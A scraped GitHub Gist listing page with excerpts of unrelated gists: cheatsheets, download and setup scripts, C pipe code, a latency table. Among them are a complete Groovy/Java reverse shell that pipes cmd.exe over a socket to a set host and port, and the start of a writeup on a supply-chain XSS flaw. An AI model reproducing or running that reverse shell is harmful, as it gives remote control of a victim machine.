Skip to content

Instantly share code, notes, and snippets.

@qoomon
qoomon / conventional-commits-cheatsheet.md
Last active December 20, 2025 14:04
Conventional Commits Cheatsheet
@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@jetfir3
jetfir3 / download_workstation.ps1
Last active December 20, 2025 14:00
Download VMware Workstation for Windows without a Broadcom Account
<#
.SYNOPSIS
Download VMware Workstation Pro for Windows from Archive.org
.DESCRIPTION
This script downloads VMware Workstation installers directly from the archive.org VMware Workstation archive.
It allows for interactive menu selection or direct version specification.
.PARAMETER Version
Specifies the version of VMware Workstation to download (e.g., "17.6.3").
.PARAMETER Help
Displays the help information for the script and exits.
@hackermondev
hackermondev / writeup.md
Last active December 20, 2025 13:58
How we pwned X (Twitter), Vercel, Cursor, Discord, and hundreds of companies through a supply-chain attack

hi, i'm daniel. i'm a 16-year-old high school senior. in my free time, i hack billion dollar companies and build cool stuff.

about a month ago, a couple of friends and I found serious critical vulnerabilities on Mintlify, an AI documentation platform used by some of the top companies in the world.

i found a critical cross-site scripting vulnerability that, if abused, would let an attacker to inject malicious scripts into the documentation of numerous companies and steal credentials from users with a single link open.

(go read my friends' writeups (after this one))
how to hack discord, vercel, and more with one easy trick (eva)
Redacted by Counsel: A supply chain postmortem (MDL)

@jboner
jboner / latency.txt
Last active December 20, 2025 13:57
Latency Numbers Every Programmer Should Know
Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
@pengfeiw
pengfeiw / Manual for keychron.md
Last active December 20, 2025 13:55
京东京造键盘操作说明书

image

蓝牙连接

kechron 支持三个蓝牙设备间的切换。

长按 fn + 1/2/3 键 3 秒,激活蓝牙配对,此时设备与第一(二/三)个蓝牙绑定。

长按3秒 Fn+1/2/3键。(如长按 Fn+1,则蓝牙连接到第1个设备)。

@literallylara
literallylara / _install.sh
Last active December 20, 2025 13:53
Linux CEC Setup + Monitoring + Remote Control Keymap for Pulse-Eight CEC Adapter or DisplayPort
#!/bin/sh
# Resources:
# - https://wiki.archlinux.org/title/HDMI-CEC
# - https://man.archlinux.org/man/extra/v4l-utils/rc_keymap.5.en
# - https://man.archlinux.org/man/extra/v4l-utils/ir-keytable.1.en
# - https://www.freedesktop.org/software/systemd/man/latest/systemd.unit.html
# - https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html
# Make sure to replace card1-HDMI-A-2 with your own connector in: cec0-daemon-autostart.rules
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#define MAX_BUF 1024
#define pipename "\\\\.\\pipe\\LogPipe"
int main()
{
HANDLE pipe = CreateFile(pipename, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (pipe == INVALID_HANDLE_VALUE)
@arnav-kr
arnav-kr / Disabling Calling Name Presentation (CNAP).md
Last active December 20, 2025 13:42
Disabling Calling Name Presentation (CNAP)

Calling Name Presentation (CNAP)

[Skip to main content]

Short URL: go.arnv.dev/cnap

Recently the Calling Name Presentation (CNAP) Service has been introduced in India, which is gradually rolling out around the telecom circles.

CNAP as the name suggests is a suplimentary service enabled by default for all the users, it shows your name as per the KYC documents which you used for SIM card registration

system.activationScripts.applications.text = let
env = pkgs.buildEnv {
name = "system-applications";
paths = config.environment.systemPackages;
pathsToLink = "/Applications";
};
in
pkgs.lib.mkForce ''
# Set up applications.
echo "setting up /Applications..." >&2